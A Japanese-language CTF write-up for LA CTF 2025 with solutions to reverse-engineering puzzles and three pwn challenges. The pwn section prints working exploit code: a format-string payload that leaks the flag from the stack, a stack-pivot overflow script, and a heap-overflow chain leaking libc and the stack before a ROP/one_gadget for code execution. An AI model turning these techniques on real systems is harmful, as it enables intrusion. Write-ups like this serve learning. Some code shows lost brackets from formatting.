LA CTF 2025 Writeup (Rev, Pwn)
ソロで参加して3889pt、145/933位でした
javascription (Rev)
ソースのjavascriptを見ると以下のような関数がある。
code: (javascript)
function checkFlag(flag) {
const step1 = btoa(flag);
const step2 = step1.split("").reverse().join("");
const step3 = step2.replaceAll("Z", "OLD_DATA");
const step4 = encodeURIComponent(step3);
const step5 = btoa(step4);
return step5 === "JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I=";
}
書いてあることの逆操作をするだけ。cyberchefで完結するので便利
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)URL_Decode()Find_/_Replace(%7B'option':'Regex','string':'%5C%5C%5BOLD_DATA%5C%5C%5D'%7D,'Z',true,false,true,false)Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=SlRORUpUTkVVV1pzU2xnbE5VSlBURVJmUkVGVVFTVTFSRzg1TVdOemVGZFpNemxXWlhOd2JtVndTak1sTlVKUFRFUmZSRUZVUVNVMVJHWTViV0kzSlRWQ1QweEVYMFJCVkVFbE5VUkhaR3BHUjJJPQ
lactf{no_grizzly_walls_here}
patricks-paraflag (Rev)
IDAのデコンパイル結果:
code: (c)
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rbx
size_t v4; // rcx
size_t v5; // rax
int v6; // ebx
char v8256; // rsp+0h rbp-208h BYREF
char s264; // rsp+100h rbp-108h BYREF
printf("What do you think the flag is? ");
fflush(_bss_start);
fgets(s, 256, stdin);
v3 = strcspn(s, "\n");
sv3 = 0;
if ( strlen(target) == v3 )
{
v4 = v3 >> 1;
if ( v3 > 1 )
{
v5 = 0LL;
do
{
v82 * v5 = sv5;
v82 * v5 + 1 = sv4 + v5;
++v5;
}
while ( v5 < v4 );
}
v8v3 = 0;
printf("Paradoxified: %s\n", v8);
v6 = strcmp(target, v8);
if ( v6 )
{
puts("You got the flag wrong >:(");
return 0;
}
else
{
puts("That's the flag! :D");
}
}
else
{
puts("Bad length >:(");
return 1;
}
return v6;
}
丁寧に逆のことをする。
code: (python)
target = list("l_alcotsft{_tihne__ifnlfaign_igtoyt}")
flag = target::
n = len(target)
m = n >> 1
for i in range(m)::-1:
flagm+i = targeti*2+1
flagi = targeti*2
print("".join(flag))
lactf{the_flag_got_lost_in_infinity}
nine-solves (Rev)
IDAのデコンパイル結果:
code: (c)
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 i; // rsi
unsigned int v4; // eax
int v5; // ecx
int v6; // edx
char v86; // rsp+0h rbp-18h BYREF
char v9; // rsp+6h rbp-12h
puts("Welcome to the Tianhuo Research Center.");
printf("Please enter your access code: ");
fflush(stdout);
fgets(v8, 16, stdin);
for ( i = 0LL; i != 6; ++i )
{
v4 = v8i;
if ( (unsigned __int8)(v8i - 32) > 0x5Eu )
goto LABEL_14;
v5 = yii;
if ( !v5 )
goto LABEL_14;
v6 = 0;
while ( (v4 & 1) == 0 )
{
++v6;
v4 >>= 1;
if ( v5 == v6 )
goto LABEL_9;
LABEL_6:
if ( v4 == 1 )
goto LABEL_14;
}
++v6;
v4 = 3 * v4 + 1;
if ( v5 != v6 )
goto LABEL_6;
LABEL_9:
if ( v4 != 1 )
goto LABEL_14;
}
if ( !v9 || v9 == 10 )
{
eigong(yi);
return 0;
}
LABEL_14:
puts("ACCESS DENIED");
return 1;
}
よく読むと、入力に対してコラッツ予想っぽい処理(nが偶数の場合はn /= 2、nが奇数の場合はn = n * 3 + 1とする操作をn == 1になるまで繰り返す)を行い、その操作回数がyiのそれぞれの値と一致しているかを判定している。よって全探索すればアクセスコードが特定できる。
code: (python)
yi = 0x1B, 0x26, 0x57, 0x5F, 0x76, 0x9
def f(num):
i = 0
while True:
if (num & 1) == 0:
i += 1
num >>= 1
else:
i += 1
num = 3 * num + 1
if num == 1:
return i
access_code = ""
for i in range(6):
for c in range(32, 127):
if f(c) == yii:
access_code += chr(c)
break
print(access_code)
得られたアクセスコードAigyaPをサーバーに送信するとフラグが貰えた。
lactf{the_only_valid_solution_is_BigyaP}
the-eye (Rev)
IDAのデコンパイル結果:
code: (c)
__int64 __fastcall shuffle(const char *a1)
{
__int64 result; // rax
unsigned __int8 v2; // rsp+13h rbp-Dh
int v3; // rsp+14h rbp-Ch
int i; // rsp+1Ch rbp-4h
result = (unsigned int)strlen(a1) - 1;
for ( i = result; i >= 0; --i )
{
v3 = rand() % (i + 1);
v2 = a1i;
a1i = a1v3;
result = v2;
a1v3 = v2;
}
return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char *s; // rsp+0h rbp-10h
int i; // rsp+Ch rbp-4h
v3 = time(0LL);
srand(v3);
s = (char *)read_msg();
for ( i = 0; i <= 21; ++i )
shuffle(s);
puts(s);
free(s);
return 0;
}
srand(time(0))で乱数を初期化している。time_t型の単位は秒なため簡単に再現できる。
前もって全乱数を予測しておくことで逆操作が可能。
code: (python)
from pwn import *
import ctypes
cdll = ctypes.CDLL("/usr/lib/libc.so.6")
cdll.srand(cdll.time(0))
def conn():
io = remote(HOST, PORT)
return io
HOST = "chall.lac.tf"
PORT = 31313
io = conn()
c = io.recvall().decode():-1
c = list(c)
rnds = cdll.rand() for _ in range(len(c) * 22)::-1
p = 0
for t in range(22):
for i in range(len(c)):
j = rndsp % (i+1)
ci, cj = cj, ci
p += 1
print("".join(c))
実行するとフラグを含んだ文章が出てきた。
code:_
Outer Wilds is an action-adventure video game set in a small planetary system in which the player character, an unnamed space explorer referred to as the Hatchling, explores and investigates its mysteries in a self-directed manner. Whenever the Hatchling dies, the game resets to the beginning; this happens regardless after 22 minutes of gameplay due to the sun going supernova. The player uses these repeated time loops to discover the secrets of the Nomai, an alien species that has left ruins scattered throughout the planetary system, including why the sun is exploding. A downloadable content expansion, Echoes of the Eye, adds additional locations and mysteries to the game. lactf{are_you_ready_to_learn_what_comes_next?}
crypt-of-the-necropuzzler (Rev)
以下のようなpythonコードが与えられる。
code: (python)
#!/usr/local/bin/python3
import tty
import sys
import hashlib
if sys.stdin.isatty():
tty.setcbreak(0)
g=(f:=0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1):
n=1,1,0,0,0,0,0,0,1,0,2,0,0,0,0,0,3,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,3,0,0,0,1,0,1,0,1,0,0,0,2,2,2,0,0
def decrypt_flag(k):
h=hashlib.sha512(str(k).encode()).digest()
print(bytes(a^b for(a,b)in zip(h,bytes.fromhex("8b1e35ac3da64cb9db365e529ad8c9496388a4f499faf887386b4f6c43b616aae990f17c1b1f34af514800275673e0f3c689c0998fc73c342f033aa7cc69d199"))).decode())
m={'w':(-1,0),'s':(1,0),'a':(0,-1),'d':(0,1)}
def t(a,b,s=None):
if s is None:
s = set()
s.add((a,b))
for(i,j)in m.values():
x,y=a+i,b+j
if (x,y) not in s and x in range(7) and y in range(7) and gx*7+y==ga*7+b:
t(x,y,s)
return s
a,b=0,0
d=1
while 1:
if d:
print("\x1b[2J")
for i in range(7):
print(" ["(a,b)==(i,0),end="")
for j in range(7):
print("_#"[gi*7+j],end=""if(a,b)==(i,j+1)else" "(a,b)==(i,j))
print()
d=0
try:
c=sys.stdin.read(1)
if c == "":
break
except EOFError:
break
if c=='q':
break
elif c=='x':
if not fi:=a*7+b:
gi=1-gi
d=1
elif v:=m.get(c):
i,j=a+v0,b+v1
if i in range(7) and j in range(7):
a,b=i,j
d=1
elif c=='c':
p=1
s=set()
for i in range(7):
for j in range(7):
if(i,j)not in s:
v=0*4
k=t(i,j)
s|=k
for(x,y)in k:
v[nx*7+y]+=1
if any(h not in (0,2) for h in v1:):
p=0
if p:
print("Correct!")
decrypt_flag(g)
else:
print("Incorrect!")
頑張って読み解くと、1~3の数字が書かれた7×7のマスを、以下のルールに従って白黒に塗り分けるようなゲームが実装されていることが分かる。
同色マスが隣接するグループ内の、各数字の個数はそれぞれ0個か2個でなければならない
最初から黒く塗られているマスは変更不可
パズルを解くとフラグが貰える。
https://scrapbox.io/files/67b10104472a91d572db83f8.png
2password (pwn)
code: (c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void readline(char *buf, size_t size, FILE *file) {
if (!fgets(buf, size, file)) {
puts("wtf");
exit(1);
}
char *end = strchr(buf, '\n');
if (end) {
*end = '\0';
}
}
int main(void) {
setbuf(stdout, NULL);
printf("Enter username: ");
char username42;
readline(username, sizeof username, stdin);
printf("Enter password1: ");
char password142;
readline(password1, sizeof password1, stdin);
printf("Enter password2: ");
char password242;
readline(password2, sizeof password2, stdin);
FILE *flag_file = fopen("flag.txt", "r");
if (!flag_file) {
puts("can't open flag");
exit(1);
}
char flag42;
readline(flag, sizeof flag, flag_file);
if (strcmp(username, "kaiphait") == 0 &&
strcmp(password1, "correct horse battery staple") == 0 &&
strcmp(password2, flag) == 0) {
puts("Access granted");
} else {
printf("Incorrect password for user ");
printf(username);
printf("\n");
}
}
FSBのチュートリアル問題。printf(username);でスタック上の値をリークできる。
code:_
❯ nc chall.lac.tf 31142
Enter username: %6$p, %7$p, %8$p
Enter password1:
Enter password2:
Incorrect password for user 0x75687b667463616c, 0x66635f327265746e, 0x7d38367a783063
https://gchq.github.io/CyberChef/#recipe=Split(',','%5C%5Cn')Reverse('Line')From_Hex('Auto')Reverse('Character')&input=MHg3NTY4N2I2Njc0NjM2MTZjLCAweDY2NjM1ZjMyNzI2NTc0NmUsIDB4N2QzODM2N2E3ODMwNjM
lactf{hunter2_cfc0xz68}
state_change (pwn)
code: (c)
#include <stdio.h>
#include <string.h>
char buf0x500; // Wow so useful
int state;
char errorMsg0x70;
void win() {
char filebuf64;
strcpy(filebuf, "./flag.txt");
FILE* flagfile = fopen("flag.txt", "r");
/* ********** ********** */
// Note this condition in win()
if(state != 0xf1eeee2d) {
puts("\ntoo ded to gib you the flag");
exit(1);
}
/* ********** ********** */
if (flagfile == NULL) {
puts(errorMsg);
} else {
char buf256;
fgets(buf, 256, flagfile);
bufstrcspn(buf, "\n") = '\0';
puts("Here's the flag: ");
puts(buf);
}
}
void vuln(){
char local_buf0x20;
puts("Hey there, I'm deaddead. Who are you?");
fgets(local_buf, 0x30, stdin);
}
int main(){
state = 0xdeaddead;
strcpy(errorMsg, "Couldn't read flag file. Either create a test flag.txt locally and try connecting to the server to run instead.");
setbuf(stdin, 0);
setbuf(stdout, 0);
vuln();
return 0;
}
グローバル変数のstateを0xf1eeee2dに設定した状態でwin()を呼び出すとフラグが貰える。vuln()でBOFによってsaved rbpを書き換えつつ関数の最初にリターンすることでstateがある場所にstack pivotが可能なので、2周目でstateを書き換えつつwinにリターンすれば良い。
少し注意すべきなのがfgets()の挙動で、改行文字が入力されるか、入力文字数が指定した数-1に達するまで入力を受け付けるという仕様がある。今回の場合は最後の1文字と改行を削らないと入力がバッファに滞留して2回目の入力が上手くいかなくなってしまうので気を付けよう
code: (python)
def exploit():
payload = b"a"*0x20
payload += p64(0x404540 + 0x20) # state
payload += p64(0x4012bd):-1 # vuln+8
sendafter("?\n", payload)
payload = p64(0xf1eeee2d)
payload += b"a"*0x20
payload += p64(0x4011d6) # win
sendafter("?\n", payload)
return 0
lactf{1s_tHi5_y0Ur_1St_3vER_p1VooT}
gamedev (pwn)
code: (c)
#include <stdio.h>
#include <stdlib.h>
struct Level *start = NULL;
struct Level *prev = NULL;
struct Level *curr = NULL;
struct Level
{
struct Level *next8;
char data0x20;
};
int get_num()
{
char buf0x10;
fgets(buf, 0x10, stdin);
return atoi(buf);
}
void create_level()
{
if (prev == curr) {
puts("We encourage game creativity so try to mix it up!");
return;
}
printf("Enter level index: ");
int idx = get_num();
if (idx < 0 || idx > 7) {
puts("Invalid index.");
return;
}
struct Level *level = malloc(sizeof(struct Level));
if (level == NULL) {
puts("Failed to allocate level.");
return;
}
level->data0 = '\0';
for (int i = 0; i < 8; i++)
level->nexti = NULL;
prev = level;
if (start == NULL)
start = level;
else
curr->nextidx = level;
}
void edit_level()
{
if (start == NULL || curr == NULL) {
puts("No level to edit.");
return;
}
if (curr == prev || curr == start) {
puts("We encourage game creativity so try to mix it up!");
return;
}
printf("Enter level data: ");
fgets(curr->data, 0x40, stdin);
}
void test_level()
{
if (start == NULL || curr == NULL) {
puts("No level to test.");
return;
}
if (curr == prev || curr == start) {
puts("We encourage game creativity so try to mix it up!");
return;
}
printf("Level data: ");
write(1, curr->data, sizeof(curr->data));
putchar('\n');
}
void explore()
{
printf("Enter level index: ");
int idx = get_num();
if (idx < 0 || idx > 7) {
puts("Invalid index.");
return;
}
if (curr == NULL) {
puts("No level to explore.");
return;
}
curr = curr->nextidx;
}
void reset()
{
curr = start;
}
void menu()
{
puts("==================");
puts("1. Create level");
puts("2. Edit level");
puts("3. Test level");
puts("4. Explore");
puts("5. Reset");
puts("6. Exit");
int choice;
printf("Choice: ");
choice = get_num();
if (choice < 1 || choice > 6)
return;
switch (choice)
{
case 1:
create_level();
break;
case 2:
edit_level();
break;
case 3:
test_level();
break;
case 4:
explore();
break;
case 5:
reset();
break;
case 6:
exit(0);
}
}
void init()
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// Add starting level
start = malloc(sizeof(struct Level));
start->data0 = '\0';
for (int i = 0; i < 8; i++)
start->nexti = NULL;
curr = start;
}
int main()
{
init();
puts("Welcome to the heap-like game engine!");
printf("A welcome gift: %p\n", main);
while (1)
menu();
return 0;
}
木構造を取る構造体が用意されている。edit_level()に自明なヒープオーバーフローがあるため、1つ後ろのアドレスに存在するLevel->nextを書き換えることができそう
まずはcreate_level()で子ノードを複数作り、explore()で子ノードに移動してオーバーフローを起こすことで、隣接するLevelのnextを書き換える。その後親ノードに戻って書き換えたノードに移動し、nextを参照して移動することでcurrを好きなアドレスに書き換えられる。その状態でtest_levelやedit_levelを実行することでAAR, AAWが可能。
PIEが有効だがmain関数のアドレスがリークされているため、
gotからlibcをリーク → environからstackをリーク → ROP
といった手順でRCEを行った(多分もっといい方法がありそう)
code: (python)
def create_level(idx):
sendafter(": ", b"1")
sendafter(": ", str(idx).encode())
info("create_level")
def edit_level(data):
sendafter(": ", b"2")
sendafter(": ", data, end=b"")
info("edit_level")
def test_level():
sendafter(": ", b"3")
res = recv()
info("test_level")
print(res)
return res2
def explore(idx):
sendafter(": ", b"4")
sendafter(": ", str(idx).encode())
info("explore")
def reset():
sendafter(": ", b"5")
info("reset")
pop_rdi = 0x0017a3cf
one_gadget = 0xd511f
def set_curr_addr(addr):
create_level(0)
create_level(1)
create_level(2)
explore(0)
edit_level(b"a"*0x30 + p64(addr-0x40) + b"\0"*7)
reset()
explore(1)
explore(0)
def exploit():
try:
recv()
main_addr = eval(recv()3)
print(hex(main_addr))
set_curr_addr(main_addr+0x29a6) # puts@plt
leak = u64(test_level():0x8)
reset()
libc_base = leak-0x77980
print("libc base:", hex(libc_base))
set_curr_addr(libc_base + libc.symbols"environ")
stack_leak = u64(test_level():0x8)
reset()
print("stack:", hex(stack_leak))
set_curr_addr(stack_leak - 0x150) # retaddr from edit_level()
payload = p64(libc_base + pop_rdi) + p64(0)
payload += p64(libc_base + one_gadget)
edit_level(payload + b"\n")
except:
return 1
return 0
lactf{ro9u3_LIk3_No7_R34LlY_RO9U3_H34P_LIK3_nO7_r34llY_H34P}
(時間が足りなくてコンテスト中に通せず…)